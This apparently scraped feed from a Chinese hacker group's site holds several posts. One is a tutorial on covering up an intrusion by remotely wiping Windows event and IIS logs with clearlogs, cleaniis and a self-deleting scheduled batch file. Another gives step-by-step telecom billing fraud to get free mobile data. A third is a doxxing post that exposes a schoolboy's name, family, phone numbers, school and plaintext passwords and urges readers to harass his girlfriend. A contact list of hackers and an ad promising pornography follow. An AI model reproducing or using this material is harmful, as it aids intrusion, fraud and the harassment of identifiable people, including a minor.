怎样删除这些日志： 通过上面，得知日志文件通常有某项服务在后台保护，除了系统日志安全日志应用程序日志等等，它们的服务是Windos2000的关键进程，而且与注册表文件在一块，当Windows2000启动后，启动服务来保护这些文件，所以很难删除.

下面就是很难的安全日志和系统日志了，守护这些日志的服务是Event Log，试着停掉它！ D:SERVERsystem32LogFilesW3SVC1&gt;net stop eventlog 这项服务无法接受请求的&quot;暂停&quot; 或&quot;停止&quot; 操作。
怎么清除系统日志.
怎么利用工具清除IIS日志
怎么清除历史和cookie
怎么察看防火墙Blackice的日志
netstat -an 表示的什么意思

--------------------------------------------------------------------------------------------------------------
1.系统日志 通过手工很难清除. 这里我们介绍一个工具 clearlog.exe

使用方法:
Usage: clearlogs [\computername] &lt;-app / -sec / -sys&gt;

         -app = 应用程序日志
         -sec = 安全日志
         -sys = 系统日志
a. 可以清除远程计算机的日志
** 先用ipc连接上去: net use \ipipc$ 密码/user:用户名
** 然后开始清除: 方法  
clearlogs \ip -app 这个是清除远程计算机的应用程序日志
clearlogs \ip -sec 这个是清除远程计算机的安全日志
clearlogs \ip -sys 这个是清除远程计算机的系统日志

b.清除本机日志: 如果和远程计算机的不能空连接. 那么就需要把这个工具传到远程计算机上面
   然后清除.   方法:

　

clearlogs   -app 这个是清除远程计算机的应用程序日志
clearlogs   -sec 这个是清除远程计算机的安全日志
clearlogs   -sys 这个是清除远程计算机的系统日志

安全日志已经被清除.Success: The log has been cleared   成功.

为了更安全一点.同样你也可以建立一个批处理文件.让自动清除. 做好批处理文件.然后用at命令建立一个计划任务. 让自动运行. 之后你就可以离开你的肉鸡了.
例如建立一个 c.bat

rem ============================== 开始
@echo off
clearlogs -app
clearlogs -sec
clearlogs -sys
del clearlogs.exe
del c.bat
exit
rem ============================== 结束

在你的计算机上面测试的时候 可以不要 @echo off   可以显示出来. 你可以看到结果
第一行表示: 运行时不显示窗口
第二行表示: 清除应用程序日志
第三行表示: 清除安全日志
第四行表示: 清除系统日志
第五行表示: 删除 clearlogs.exe 这个工具
第六行表示: 删除 c.bat 这个批处理文件
第七行表示: 退出

用AT命令. 建立一个计划任务. 这个命令在原来的教程里面和杂志里面都有. 你可以去看看详细的使用方法

AT 时间 c:c.bat

之后你就可以安全离开了. 这样才更安全一点.

--------------------------------------------------------------------------------------------------------------
2.清除iis日志:
工具:cleaniis.exe
使用方法:
iisantidote &lt;logfile dir&gt; &lt;ip or string to hide&gt;
iisantidote &lt;logfile dir&gt;&lt;ip or string to hide&gt; stop
stop opiton will stop iis before clearing the files and restart it after
&lt;logfile dir&gt; exemple : c:winntsystem32logfilesw3svc1 dont forget the

使用方法解释:
cleaniis.exe iis日志存放的路径 清除参数

什么意思呢？？我来给大家举个例子吧：
cleaniis c:winntsystem32logfilesw3svc1 192.168.0.1
这个表示清除log中所有此IP(192.168.0.1)地址的访问记录.     -----推荐使用这种方法

cleaniis c:winntsystem32logfilesw3svc1 /shop/admin/
这个表示清除这个目录里面的所以的日志

c:winntsystem32logfilesw3svc1 代表是iis日志的位置(windows nt/2000) 这个路径可以改变
c:windowssystem32logfilesw3svc1 代表是iis日志的位置(windows xp/2003) 这个路径可以改变

这个测试表示 在日志里面没有这个ip地址.
我们看一下日志的路径     再来看一下
我们的ip(192.168.0.1)已经没有了.
已经全部清空. 同样这个也可以建立批处理. 方法同上面的那个.

--------------------------------------------------------------------------------------------------------------
3.清除历史记录及运行的日志:
cleaner.exe
直接运行就可以了.

--------------------------------------------------------------------------------------------------------------
4.察看blackice的日志.
这个地方我们可以清除的看到   防火墙的日志.

这个表示 有人发过来带有病毒的email附件.   ip是: 220.184.153.116
tcp_probe_other   表示 通过tcp 扫描 或者利用别的和你建立连接 通信
这个表示通过端口 80 扫描iis
病毒 nimda
这里需要很多的计算机协议知识. 同时也需要对英语有了解
才能更好的分析 如果对英语不好 你可以装一个金山词霸.
一般情况下 我们可以 对一些可以不用管.
一般这三种情况 不用去管.
最上面的 critical 这个   可以去关注一下 . 一般是确实有别的计算机扫描或者入侵你的计算机

count 代表次数     intruder 是对方的ip   event 是通过什么方式(协议) 扫描或者想入侵的
time表示时间

5.--------------------------------------------------------------------------------------------------------------
netstat -an 表示什么意思?
使用这个命令可以察看到和本机的所有的连接.

Proto   Local Address           Foreign Address         State
协议     本地端口及IP地址         远程端口及IP地址       状态

LISTENING   监听状态   表示等待对方连接

ESTABLISHED   正在连接着.

TCP   协议是TCP

UDP   协议是UDP

TCP     192.168.0.10:1115       61.186.97.54:80         ESTABLISHED
这个表示   利用tcp协议 本机ip(192.168.0.10)通过端口:1115 和远程ip(61.186.97.54)端口:80连接
80端口 表示   http   就是你在访问这个网站.

一般情况下远程ip的端口: 80 21 8000 这个都是正常的. 如果是别的 就可以看一下你的计算机了。 

邪影网安组官网http://xieying.wodemo.com]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影】刷GPRS流量教程]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358774]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Tue, 22 Sep 2015 21:12:18 +0800]]></pubDate>
        <description><![CDATA[【邪影教程】【邪影网安组】
1.3种已成功的刷GPRS流量教程
  
2.最新刷5G流量方法!超多人测试成功
 
3.利用漏洞制作无限流量卡
  
4.部分地区绝对能用的5G流量方法（深圳，汕头，潮州，揭阳，云浮成功）
 
5.刷五G流量遇到显5G却上不了网的情况
 
【第一种方法】
1、首先这个月有开通流量套餐
2、同时发送QXGPRS、GPRS5到10086  
3、收到两条信息,都回复Y存草稿   
4、同时发送两条草稿信息,先回复取消的,要认清楚   
5、等10086回信息,看是不是先来开通
5元GPRS成功,再来取消成功的短信,收到指令不存在时,失败   
6、发GPRSTC到10086,看流量套餐有没有显示五块钱套餐,
有的话也失败了…
注意
,
要尽量快发送出去取消、定制、回复
 
解答：
  
他说：同时发送
QXGPRS
、
GPRS5
到
10086  
3
、收到两条信息
,
都回复
Y
存草稿
  
我们来发发。我先发
QXGPRS
到
10086
。等一分钟信息来了。我们来分析信息。
 
发件人：
10086  
“尊敬的客户：您正申请取消
GPRS
月套餐，确认取消请回复
Y(1
个小时内回复
有效
)
不回复则不取消。
温馨提示，
如果您当前使用的是
2008
年
10
月
10
日前的
老套餐，取消成功后将无法重新申请转回原老套餐。中国移动广东公司”
 
【发件人：
10086
，信息说确定取消回复
Y
。
】
OK
了，再发下一条：发
GPRS5
到
10086
。
  
一分钟信息来了，看下面。我们来分析信息。
 
发件人：
10086  
“尊敬的客户：您正申请办理
5
元
GPRS
月套餐，确认开通请回复
Y(1
个小时内
回复有效
)
，不回复则不开通。本月新开通
GPRS
月套餐，
24
小时内扣费后立即
生效，下次扣费日为下一月结日；变更
GPRS
月套餐下一月结日扣费后生效。温
馨提示：
如果您当前使用的是
2008
年
10
月
10
日前的旧
GPRS
套餐，
办理新套餐
成功后将无法转换回旧
GPRS
套餐。中国移动广东公司”
 
【发件人：
10086
，信息说确定定制回复
Y
。
】
 
2
条都是说：确定回复
Y  
不觉奇怪吗？因为我们发的都是发给
10086
，而回复都是字母：
Y  
大家有没有想过？说明点吧。先回复取消信息。收件人：
10086
，回复：
Y 
好了，存草稿。
  
现在回复定制
GPRS
信息。收件人：
10086
，回复：
Y 
老手见到知道什么事了。
  
我们回复都是一样？我们发的是给
10086
系统，
是
“系统”
OK
？我们回复都是一
样，那么系统会怎样分析？因为我们第
2
次是发开通
GPRS5
，所以系统默认分析
只是我们的定制信息！
不管你先回复哪一条信息。
不信你试试。
所以想事情的时
候，想深一些。
 
【第
2
种方法】
  
第二种取消法也是需要这个月有开通流量的
   
1
、发
QXGPRS
到
10086,
回复
Y
存草稿
   
2
、上梦网订购流量
,
具体订购多少的
,
你们自己决定
,
到第二次确定时停下
  
3
、发送草稿箱信息
   
4
、看到信息发出去后一定要快速返回梦网按确定
,
你可以提前一点点按确定
,
具
体还是要看手机的网速决定成功的标志
,
查询套餐显示下月生效的流量套餐是日
套餐
,
有收到成功定制流量的信息
,
或者提示、收到成功取消”
 
  
我们先来一步一步来，我们先把
GPRS
取消了。取消成功后打开“广东移动
WAP
服营厅”
  
找到“套餐办理”
，点击进入。找到“
GPRS
新套餐”点击进入，我们看见：
 
“
GPRS
套餐
   
当前套餐
:200
元
GPRS
月套餐
  
下月套餐
:200
元
GPRS
月套餐
  
取消套餐
 
办理套餐：
  
确定”
  
我们选
5
元
GPRS
，点击确定进入，进入之后见：
 
“
GPRS
套餐
   
尊敬的客户，您将办理“
5
元
GPRS
月套餐“，于下个月结日生效，如正使用
08
年
10
月
10
日前的旧
GPRS
套餐，办理新套餐后无法恢复，请问是否确定？
  
确定”
  
我们发信息，发
QXGPRS
到
10086
，发出去，一分钟后信息来了。我们再发
Y
到
10086
，存在草稿，
(
确定取消
GPRS)
，好了，现在草稿有
1
条信息。
 
我们发信息
Y
到
10086
，马上转换到刚刚的确定定制信息。按确定。
  
我们看网页，开通成功。转看信息，取消成功，啊，成功了？你错了，你取消的
只是你上一个月的套餐，
而不是你刚会定制的套餐，
不信你试试，
我包你月租马
上扣你钱，成功率：
0
％，不信你试试。不扣你的，我拿我脑子给你坐。
  
你刷的是
5
元套餐，我送你
10
元话费，你刷的是
200
元，我送你
400
元话费，
只要不扣费，我马上给你充话费。
 
【第
3
种方法】
 
第三种叠加法
 
1
、取消掉
GPRS   
2
、用
UC
进入梦网订购流量
  
3
、用
MM
软件进入梦网订购流量
  
4
、
先点小金额的
,
在快速点大金额的成功标准
,
查流量套餐显示小金额
,
发大金额
的那条开通短信信息到
10086,
提示你已订购流量套餐
.  
这个可以，这个方法简称：
2
个浏览器一起定制。但成功率只有
50
％，还有，这
个不一定是扣你的小套餐还有可能扣你的大套餐，
所谓小套餐就是金额小的套餐
(
如：
5
元
)
，所谓大套餐就是金额大的套餐
(
如：
10
元以上
)
，因为你刷流量有可
能刷，
5
元
5G
流量套餐。以前
2
月份的时候，很流行
5
元
5G
流量的刷法。
5
元
就是
30M
流量，
200
元就是
5024M
，所以
30M
只是浮云，所以那时候的人都是说
5
元
5G
流量，但成功的很少，他们虽然这样发帖。但测试起来，好彩的就扣你
5
元话费，黑仔的就扣你
200
元，还有，
2
个网页同时运行，那个网页网速快，那
个网页网速慢你是不知道的，所以要看运气。
 
最新刷
5G
流量方法
!
已知多人测试成功
  
1
，话费低于
100
元
  
2
，扣月租前天
23
：
30
分后
  
3
，取消原套餐，开通
200
元
5G
套餐
 
4
，打
10086
申请停机保号
  
5
，第二天也就是扣月租那天下午
4
点后申请复机
 
6
，成功。不扣费，显
5G
流量，能正常上网
 
纯手打，已多人成功。
  
部分地区绝对能用的
5G
流量方法
  
步骤开始：
 
同样是在月租前一天晚上
(
最好是十一点半以后
)
开通两百元上网套
餐（
5G
）
 
确保你的手机话费不超过两百，否则会直接扣费！
 
开好上网套餐后，
再发信息办理个闲时套餐
(
短信发
BLXS5
到
10086
，按照信息提示就可以成功开
通
) 
好了，两个套餐都开通好了以后。
 
现在手机用本机号码拨打
10086
申请停
机，自助用服务密码停机就可以了。
 
停机之后，什么都不用管了。
 
等到扣月租
那天的中午，过了十二点就可以拨打
10086
申请复机了。
 
开机以后，会收到几
条信息。
 
注意：会同时扣取你的月基本费用跟闲时套餐的费用，不过不会扣除
两百元上网套餐的！
 
复机之后，发短信查流量，会收到这样的信息。
 
尊敬的客
户：您现在正使用
200
元
GPRS
月套餐，当前计费月剩余流量
5120MB
；正使用
5
元
GPRS
闲时套餐，当前计费月剩余流量
100MB
；所统计时间延迟
24
小时左右，
以上数据仅供参考。如您对
GPRS
流量使用有疑问，请登录
gd.10086.cn
查询清
单。
12
月登录
gd.10086.cn
网站或到自助终端上充值，可享充
100
元送
5
元、
充
300
元送
15
元优惠。
中国移动广东公司
 
没错，
开通了两个套餐，
并且是可以
正常使用的！
 
如果有收到暂停上网功能信息，你直接发信息
KTGPRS
到
10086
或者，拨打
1008612
按
5
再按
1
，重开机就上网了。
 OK
，教程到此结束。
 
公布
下不能刷流量的地区：广州，茂名，湛江，江门，梅州，东莞。
 
上面这些地区
的，不用抱着希望了，我的朋友亲测失败了，没有流量的。
 
可以成功刷流量的
地区：深圳，汕头，潮州，揭阳，云浮。
 
教程开始：
  
首先，
你手上得有一张快废弃的移动手机卡，
最好剩几块钱的那种，
没有就去网
上收一样，不能欠费太多哦。
  
发信息你会吧？把你想制作无限流量卡的手机卡，
话费用剩下一毛钱。
如果没有
的，欠费了，就在淘宝冲少少的话费，不能多，多了会比较麻烦。
  
准备一个移动手机号码，要没过期的，而且他的手机是开机的。不确定的，建议
用你家人或者朋友的。
  
现在在草稿箱子里，保存二十条这样的信息。
 
KTGPRS
到
10086
（保存在草稿箱里）
  
好了，刚刚不是让你准备一个移动的手机号码吗？
  
现在，编辑短信，内容随意，收信人，刚刚那个手机号码。
 
注意：信息不发送，存在草稿箱里。
 
保存好了以后，手机调至离线模式。
  
发送刚刚那条移动手机号码的信息，然后发送其他的信息（二十条
KTGPRS
到
10086
）
  
这里我说明一下，为什么要二十条相同的信息呢？
  
因为移动的计费系统有延迟，
没有那么快扣费，
所以为了安全起见，
我们就塞多
几条信息过去，防止不会失败。
  
现在，
信息不是发出去了吗？可能发送到移动就发送不了了，
没关系，
因为你已
经停机了。
  
会收到一些信息哦：
  
尊敬的客户：您的号码开通或恢复
GPRS
功能成功，如无法使用请关机后重新开
机即可。温馨提示：当手机欠费停机或申请停机重开后，
GPRS
功能会被暂停，
开机后一般
24
小时内自行恢复，
如需即时恢复请发送
KTGPRS
到
10086
重开。
中
国移动广东公司
  
你再上网看看，是不是可以上网？是的话，那就成功了！
 
我在这里，补充说明下原理。
  
原理就是，利用移动的扣费漏洞，在没扣钱前，塞短信恢复开通上网功能，所以
就可以实现无限上网。
 
不过这种卡，
不能接受信息，
也不能发信息，
打电话也不行。
只是可以无限流量。
 
  
刷五
G
流量遇到显
5G
却上不了网的情况
  
上个月可能还能利用话费低于
100
刷五
G
或二
G
，现在限制了余额少于
GPRS
餐
金额的开通法了，但部分手机还是有可能成功的
 
  
移动开
GPRS
套餐的金额超过现有余额是不会扣费，因此用这方法很多人刷上了
5G
流量，但也有部分显示
5G
流量却连不上网的。下面的方法可能可以解决。
 
  
1
，致电
10086
关闭上网功能，隔
12
小时后发
KTGPRS
到
10086
开通
 
  
2
，手机办理停机，过
12
小时后开机
 
  
3
，开通
5
元闲时套餐，用短信刷，不停的发
KTGPRS
和
GBGPRS
到
10086
，发到
可以上网为止。

本人诚信收徒，200一人，有意者私密

终身徒弟 学费200元 技术：
1.网赚技术 2.网络走红 3.手机刷钻 4.宽带刷钻 5.飞车刷车
6.百变空间 7.视频空间 8.空间喊麦 9.空间解封 10.头像制作
11.视频制作 12.图标点亮 13.解防沉迷 14.网站建设 15.宣传片制作
16.Ps技术 17.代理价拿货 18.送永久彩钻
19.送技术软件 20.送大量黄片 21.送教程网会员 22.送刷钻平台

成为我的徒弟之后 我会把我的技术毫不保留的教您 包您学会技术 包您不会失望
免费咨询QQ:2296888307 
 
  
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影网安组-社工行动】对夏盛团队老大的社工行动]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358773]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Tue, 22 Sep 2015 20:58:44 +0800]]></pubDate>
        <description><![CDATA[【邪影】邪影组长QQ2296888307
你们都知道盛夏团队吧？盛夏老大：帝伟 QQ：1104377146，他自称社工帝！这可是大黑阔啊？，我看着帝伟的社工KEY和渗透审核元素我也是醉了，明明没拿站审核元素一下网站，之后说管理员恢复快，你装什么大牛？人气过千又怎么？

资料如下：
QQ：1104377146
帝伟现实号：2464044388
姓名：王继伟
所在地：安徽省 蚌埠市 怀远县
他妈：徐田燕
曾经喜欢的人：马丽丽
电话：15055616778
班主任：赵瑞云(不敢确定)
小名：乐乐(家里从小到大都这样叫他)
就读学校：怀远实验中学(初三一班)
搜搜ID：帝伟战为盛夏:-)
百度ID：失落控▼▼▼
注册时间：2008年
老米：
1104377146----WJW13855257879..
1104377146----abcd12345
1104377146----huaihuai521184..
1104377146----wjw15212105277..
1104377146----ytxcnmb1438.
1104377146----wjw990510
现在女友：刘媛媛
外号：麻园
女朋友QQ：1606340071
电话：15056397318
班级：初三七班









他媳妇记得打电话骚扰对了你媳妇和你分手，应该是因为你太装逼被我们社了，然后太多人烦她才分手的吧，分手不是你的错，是你装逼 的错

朋友：路清扬
QQ：1905147169
电话：15155295232
他哥Q：1634190140
他哥哥：王建国
他哥电话：18755278159
他哥他妈：张金兰
老米：woaini1314520
申明：
1、别问我拿这么多资料为什么不去申诉！昨天申诉看见申诉需要填身份证，身份证未知！有身份证说明号有证！证错申诉不过！
2、资料错误地方求指认！帝伟你要是敢否认正确资料你生孩子没屁眼你女朋友变烂逼！
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影搜集】中国顶尖黑客联系名单]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358769]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Tue, 22 Sep 2015 20:45:08 +0800]]></pubDate>
        <description><![CDATA[【邪影搜集】【邪影】【顶级黑客联系名单】【邪影组长QQ2296888307】中国顶尖黑客联系名单

sunwear

QQ:47347

微博: http://t.qq.com/sunwe4r

博客:http://hi.baidu.com/patrick sunwear 好像不用了

日娃哥。EST核心成员。圈内皆 知他手握很多未公开漏洞。渗透入侵 和漏洞方面的高手，曾是编程内核牛 人。曾经入侵过世界顶级黑客组织Me tasploit，剑桥大学等众多高端机构 。几年前的世界最顶级两大黑客大会 defcon和blackhat都对他有过报道。 PS：前不久有两位SB女士诽谤日娃 骗了1000块再次帮忙澄清。1000块对 于这类高手几分钟就能赚来。

axis

QQ:32750912

微博:http://t.qq.com/aullik5

博客:http://hi.baidu.com/aullik5

刺哥，大风哥。身材瘦弱。是中 国黑客圈内纯技术黑客组织幻影旅团 创始人。中国顶级黑客之一。目前好 像就职于淘宝公司网络安全部门。也 是手握很多未公开漏洞的人。很多影 响力很大的0day都是出自幻影旅团。 WebZine的发起人。并且发展过WIKI 的系统。还曾远赴美国参加世界顶级 黑客大会blackhat。前不久向MM求婚 ，基本动用了中国互联网所有的大企 业，安全企业。证明此人的人缘非常 广泛，再次表示祝福。

dm

QQ:不详

微博:http://t.qq.com/zoeluk

博客:http://hi.baidu.com/int3

国内顶级地下黑客组织0x557核 心成员。是漏洞挖掘，利用方面的高 手。不用说，手里的漏洞也是多的可 以批发了。目前就职于世界著名反病 毒杀毒软件公司麦咖啡(刚刚被intel 收购)。现在还写起了iphone,ipad下 的安全软件。看来是个全能选手。

flashsky

QQ:38062 &amp; 16202253

博客:http://hi.baidu.com/fs_fx

微博:http://t.qq.com/flash-sky

方兴。闪空哥。国内著名黑客组 织安全焦点核心成员。2003年WINDO WS历史上最严重安全漏洞细节全球首 发者,数百个高危级安全漏洞发现者, 历任启明星辰,美国EEYE,美国微软特 聘安全专家,美国微软BLUEHAT第一 个中国演讲者,安全焦点成员,南京翰 海源信息技术有限公司创始人和CEO 。对漏洞方面的研究是相当高深的。 预祝公司发展顺利。

tombkeeper

QQ:644909

博客:http://hi.baidu.com/tombke eper

微博:http://t.qq.com/tombkeeper

于某。传说中的tk教主。国内著 名黑客组织安全焦点核心成员。就职 于绿盟科技，俗称妇科圣手。对wind ows操作系统以及漏洞等方面的研究 可以说是非常精通。而在安全焦点论 坛，最近几年一直被人奉为TK教主。 对于其他领域的科学也有着独到的见 解。文笔思想也是很独特的。

glacier

QQ:1973435

微博:http://t.qq.com/glacier

黄鑫。冰河哥。黄总。同为国内 著名的黑客组织安全焦点核心成员。 深圳大成天下的创始人之一。是中国 最早的远程控制木马&quot;冰河&quot;的作者， 也是著名安全扫描工具&quot;x-scan&quot;的作 者。黑客编程方面的高手，对于网络 协议，加密安全以及软件工程有很深 的了解。女黑客wollf的老公。一个风 趣幽默的人。从微博上就可以看出来 了。已经当父亲了，当然孩子不是木 马，是一个帅哥。再此祝福一下。

swan

QQ:不详

微博:http://t.qq.com/Swan557

0x557(SST)核心成员，对于linux ,windows操作系统上的漏洞可谓了如 指掌。

goodwell

QQ:19558287

微博:http://t.qq.com/goodwell

龚蔚。安致信息技术有限公司。 中国早起黑客组织绿色兵团创始人， 是传说中的中国黑客教父。曾经接受 过中央电视台的参访。是以为资深的 魔兽世界玩家。

xundi

QQ:518860

微博:http://t.qq.com/idnuxzhang

张迅迪。国内早期的著名黑客组 织安全焦点创始人。具体就不过多介 绍了，因为不熟悉，哈哈。

lion

QQ:21509

微博:http://t.qq.com/coollion

林勇。中国红客联盟创始人。跟 大多网民在网上所了解到的中国红客 大联盟不同。这个才是真正的中国红 客联盟。至于所谓的sharpwinner， 我只能用一句文明用语敏感词来形容 “SB”“草泥马”。现在对于技术不 如当年，而且已经远离技术告别当初 了。

isno

QQ:1070681

微博:http://t.qq.com/isnoblah

安全焦点核心成员之一。目前就 职于北京中航嘉信公司。曾经写过很 多漏洞溢出方面的分析利用文章（W EBDAV,IDQ,IDA等）。exploit也写过 很多。现在较为低调。

天行

QQ:911189

微博:http://t.qq.com/tian_xing 好像不怎么用

中国第一代黑客之一。在1999年 曾经与发动对国外网站的攻击。网络 刺客,网络卫兵是其代表作品。而他对 溢出和漏洞利用也颇有研究，例如RP C漏洞利用程序。以及他写的后门都 很好。

quack

微博:http://t.qq.com/wulujia

吴鲁佳。深圳达成天下创始人。 与中国木马之父黄鑫关系很好。安全 焦点早期活跃之人，ID：quack。

icbm

QQ:不详

http://t.qq.com/icbmx2 基本不 用

赵伟。知道创宇创始人之一。曾 经就职于国内著名信息安全公司启明 星辰积极防御实验室。对各操作系统 以及第三方软件的漏洞有很深的了解 ，手下的未公开漏洞很多。包括基于 web方面的一些独特漏洞。

sowhat

QQ:不详

http://t.qq.com/secsecsec

薛峰。就职于某保密单位。曾赴 美国参加过国际顶级黑客大会blackh at。手握很多未公开漏洞。好像今年 中国顶级黑客盛会xcon上还抽奖中了 一台PS3。

vxk

QQ:86879759

微博:http://t.qq.com/cvcvxk

几年前活跃于国内著名病毒论坛 CVC。是国内知名的病毒专家。对操 作系统内核以及编程，逆向，破解非 常精通。可谓程序全能专家。

refdom

微博:http://t.qq.com/refdom

安全焦点核心成员之一。曾经是 中国红客联盟的一员。

watercloud

微博:http://t.qq.com/watercloud

知道创宇公司创始人之一。与ic bm关系甚好。安全焦点核心成员之一 。对漏洞，加密解密等方面有者多年 的研究经验，网络安全趋势与发展有 着独到的见解。最主要的还是对漏洞 ，0day方面，手握0day数量也很客 观。

alert7

QQ:415451

博客:http://hi.baidu.com/weiwan g_blog

安全焦点核心成员之一。曾经就 职与著名杀毒软件MCAFEE。目前就 职于南京翰海源(Flashsky的公司)。 对linux

方面的研究经验长达10年以上。 对于linux等开源系统漏洞溢出分析利 用了如指掌。

袁哥

博客:http://hi.baidu.com/yuange 1975

传说中的袁哥。没错，中国所有 圈内顶级黑客无不佩服的人。就只与 绿盟科技。袁哥在数学，编程，漏洞 等诸多方面的造诣是无人可以比拟的 。很多漏洞要早其它人数年之久就已 经发现并且完美利用了。堪称漏洞方 面的其人。黑客界的顶级高手。

sunx

QQ:239670

孙华。国内非常著名的黑客编程 高手，对漏洞溢出与利用和有研究， 写过EXPLOIT。例如IDA漏洞和print er。在9X年代用汇编写过病毒。并且 还编写过操作系统后门程序。

funnywei

QQ:25044885

魏强。F博士。安全焦点核心成 员之一。漏洞挖掘，漏洞利用方面的 高手，在历届国内顶级黑客盛会XCO N上都能见到他的身影。据传就职于 中国人民解放军XXX部。为中国人民 解放军提供很多未公开漏洞。

小榕

中国早期著名黑客软件“流光” “逆雪”“乱刀”“黑客字典生成器 ”“ARPSNIFFER”“命令行注入工 具”等黑客软件作者。目前对于漏洞 方面等技术不如以上几人。不过对于 中国黑客界的贡献还是不可小觑的。

xikug

QQ:53564797

国内著名内核，漏洞，程序研究 站debugman的站长。逆向，破解， 加密，解密，内核等方面的高人。

baoz

微博:http://t.qq.com/perlish

方勇。包子。fatb。多年前就活 跃于中国黑客界。活跃程度和人缘还 是不错的。目前就职与迅雷公司。有 大牛曾说是个带眼镜的胖子。为人厚 道，皮肤较黑。

wzt

QQ:71579912

微博:http://t.qq.com/wztjlh

曾经的中国红客联盟核心成员。 对于linux内核，以及linux漏洞方面颇 有研究。可惜好像在公司很不得志。

czy

QQ:484323

四川的一个著名黑客，比较低调 ，但地下交流圈子中交流频繁。手握 很多0day的高手。

zzzevazzz

QQ:49322630

博客:http://zzzevazzz.bokee.co m/

国内著名黑客组织幻影旅团核心 成员。早期混迹于灰色轨迹。曾经著 名的do all in cmdshell 作者。曾经在 安全焦点普及ntsd知识，红极一时。 对于windows内核以及漏洞方面有着 深入的了解和经验。曾经写过很多有 利于大众的文章，分享过很多宝贵的 经验。

vessial

QQ:不详

微博:http://t.qq.com/vessial

同dm一样就职于国际顶级杀毒软 件安全厂商麦咖啡公司。也是一位对 于漏洞等方面有诸多经验的高手。

bkbll

qq:78384349

dumplogon。BK哥。中国红客联 盟核心成员之一。2001年中美黑客大 战时期技术还是初级的，但也算早期 了。后来对溢出，漏洞以及逆向分析 方面颇有研究，技术不错。是lion的 好朋友。

killer

微博:http://t.qq.com/dongzhiqia ng

博客:http://hi.baidu.com/killer

董志强。安全焦点核心成员之一 。曾经就只与启明星辰公司。对于病 毒与防病毒，逆向工程与破解等方面 有多年的研究经验。目前为著名安全 产品超级巡警的BOSS。

coolq

qq:49462335

就职于绿盟科技的linux方面高手 。在绿盟期刊上曾发有著作。对于开 源系统有着多年的应用开发经验。lin ux,unix,bsd内核方面以及漏洞挖掘， 利用方面也有着多年的经验。

pjf

qq:85863144

博客:http://pjf.blogcn.com/

国内著名antirootkit工具iceswo rd的作者。是内核方面的专家。国内 著名安全软件公司奇虎360公司的核 心开发人员。

lcx

海洋顶端网站长，是国内渗透入 侵方面的高手，有着多年的入侵经验 。是中国网马教父之一。安全手册的 顾问。著名的lcx内网端口映射工具也 是在圈内无人不晓的。

村长

QQ:6021240

国内顶级黑客组织0x557(SST)创 始人。是国内著名信息安全公司启明 星辰积极防御实验室的BOSS。对wind ows,linux非常了解，拥有多年的漏洞 挖掘，利用的经验。是圈内著名的0d ay批发户。

casper

QQ:843525

华永兴安BOSS。国内顶级黑客 大会xcon的主办方，也是安全焦点创 始人之一。中国黑客界的老前辈。目 前已经脱离技术领域，向老板发展了 。一般情况下这样的人也不会缺少传 说中的0day。

e4gle

QQ:1949479

国内著名黑客组织WSS核心成员 。老一代的黑客。对linux,unix下的溢 出漏洞分析以及利用有着多年的研究 经验，并且对病毒也很了解。

--------------------华丽的分割线----------------------

下面将列举一些新生力量，虽然 是新生，但起码都是3-6年前左右就 开始活跃的人，所以还算是中生代黑 客。

mj0011

QQ:保密，避免骂他的人太多。

博客:http://hi.baidu.com/mj0011

就职于国内著名安全公司奇虎36 0。为核心工程师。圈内敌人无数， 只因口无遮拦，相貌丑陋等缺点所导 致。对瑞星，金山等公司曾经常出言 讽刺，另外连国际顶级安全厂商赛门 铁克也不放过。可谓毒舌娘子，连我 也被骂过好几次。话说回来，对于编 程，内核，木马，远控方面的技术还 是不可否定的。相对来说有技术有经 验。是不可多得的2子。

baiyuanfan

QQ:51449276

曾经著名的后门程序BYSHELL的 作者。曾经在某界安全焦点峰会上有 过演讲议题，技术还是不错的，后来 听说被抓过。

zwell

QQ:27592430

网站:http://www.nosec.org

白远方。曾经NB联盟核心成员。 现在为诺塞科技的老大。诺塞科技的 产品现在也广为圈内所知，例如穿山 甲，JSKY等工具。对编程和注入WEB 方面的东西也是很精通的。

sudami

qq:527463097

微博:http://t.qq.com/sudami

博客:http://hi.baidu.com/sudami

目前就职于国内著名杀毒软件安 全软件厂商奇虎360公司。是后起的 windows编程，内核之秀。对渗透攻 击，入侵方面技术基本为零。曾在邪 恶八进制，DEBUGMAN等论坛发表过 多篇原创文章。对技术很有追求，进 步很快的一个牛人。再次予以鼓励和 表扬。经常与我扯淡。

oldjun

微博:http://t.qq.com/seuhacker

博客:http://www.oldjun.com/

QQ:34680304

t00ls核心成员。asp,php等WEB 脚本方面的高手，对于渗透入侵，W EB渗透相当精通。

9xiao

博客:http://hi.baidu.com/9xiao &amp; www.9xiao.net

微博:http://t.qq.com/deioncube

t00ls核心成员，原火狐联盟的 人。

aono

QQ:13335589

微博:http://t.qq.com/air-storm

t00ls核心成员。无线安全方面 的高手。在无线网络安方面有其独特 的技术思想和经验。

云舒

QQ:21287305

微博:http://t.qq.com/yunshuy

是幻影旅团的核心成员之一，目 前同axis一同就职于淘宝公司。其实 也算的上是一位比较有资历的老人了 。应该位列在上面。写过synflood方 面代码。

明小子

QQ:830540

网站:http://www.hackdiy.com/

黑客动画吧的人。著名的明小子 旁注工具domain的作者。相比很多菜 鸟都以及享受过这个工具的实惠了。 其实技术只能说是一般。不过入行也 不久了。注入脚本以及简易的编程还 是不错的。工具依然有些不足和BUG 。

鬼仔

QQ:359421

博客:http://huaidan.org

目前就职于新浪公司。WEB应用 安全方面的高手。

lake2

QQ:http://t.qq.com/mrhupo

微博:http://t.qq.com/mrhupo

脚本，数据库，渗透方面的高手 。目前就职于腾讯QQ公司。

neeao

QQ:35789112

WEB应用安全及脚本方面的高手 。

u#0h4x0r

博客:http://www.noahacker.com/

QQ:645041992

对JAVA有一定了解，对渗透也 有一些研究。入侵过不少无辜网站。

hmily

qq:68857640

微博:http://t.qq.com/Hmily_LCG

博客:http://hi.baidu.com/52hmily

